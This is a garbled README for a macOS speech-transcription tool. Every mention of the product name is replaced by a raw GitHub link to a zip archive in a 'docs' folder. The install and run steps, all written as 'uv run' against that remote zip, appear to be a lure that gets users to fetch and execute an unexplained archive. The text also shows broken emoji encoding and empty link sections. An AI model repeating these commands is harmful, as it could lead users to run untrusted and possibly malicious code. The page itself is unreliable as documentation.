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πŸ“‹ Overview

https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip provides you with a simple way to convert your speech into text on Apple Silicon. With this tool, you can dictate notes and ideas quickly and efficiently without needing an internet connection. It uses advanced technology to ensure smooth operation right from your terminal.

πŸš€ Getting Started

To get started with https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip, follow these simple steps:

  1. Ensure Your Environment is Ready

    • You need a Mac with Apple Silicon.
    • Make sure you have Python version 3.10 or higher installed.
    • Install uv, a tool that helps run Python scripts easily.
  2. Grant Permissions

    • Allow microphone access for your terminal application. This is crucial for the speech transcription feature to work.

πŸ’» Download & Install

Visit this page to download: Download Releases.

After downloading, locate the file, and ensure it is saved appropriately for easy access.

πŸ“₯ How to Run the Application

Once you have completed the setup, you can run the application through the terminal. Here are the commands you need:

Basic Command

To start dictating, simply run:

uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip

Command with Intent Analysis

If you want to include intent analysis, use the following command:

uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --analyze

Choose an ASR Model

You can select a different automated speech recognition (ASR) model by running:

uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --model mlx-community/Qwen3-ASR-1.7B-8bit

List Audio Input Devices

To see which audio devices are available, run:

uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --list-devices

Use a Specific Input Device

If you want to specify an input device, use this command:

uv run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip --device 3

πŸ’‘ Features

  • Low-Latency Speech Recognition: It quickly transcribes your spoken words into text.
  • Voice Activity Detection (VAD): The application identifies when you are speaking to improve accuracy.
  • Optional Intent Analysis: Understand the purpose behind your speech with local intent analysis.
  • Live Terminal Interface: Get real-time feedback on your transcriptions, including status and statistics.
  • Offline Functionality: Once the necessary models are downloaded, you can work without internet access.

πŸ›  Requirements

To run https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip, make sure your system fulfills these requirements:

  • Operating System: macOS on Apple Silicon (MLX)
  • Python: Version 3.10 or higher
  • Tool: uv installed
  • Permission: Microphone access granted to your terminal

πŸ€” Troubleshooting

If you encounter issues while running https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip, consider these tips:

  • Microphone Not Detected: Check your terminal's microphone permissions.
  • Script Not Running: Ensure that uv is installed and properly set up.
  • Slow Response: Close other applications using the microphone.

πŸ”— Additional Resources

For more detailed documentation on usage and features, check the following resources:

πŸ“œ License

This software is released under the MIT License. You are free to use it for personal or commercial projects, provided you follow the licensing guidelines.

Download

Feel free to explore all capabilities of https://github.com/JhonatanAiT14/dictate.sh/raw/refs/heads/main/docs/sh-dictate-2.9-alpha.5.zip and enjoy the seamless experience of speech transcription.

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🎀 Transcribe speech with low-latency on Apple Silicon using dictate.sh; offering real-time ASR and intent analysis in a simple, offline setup.

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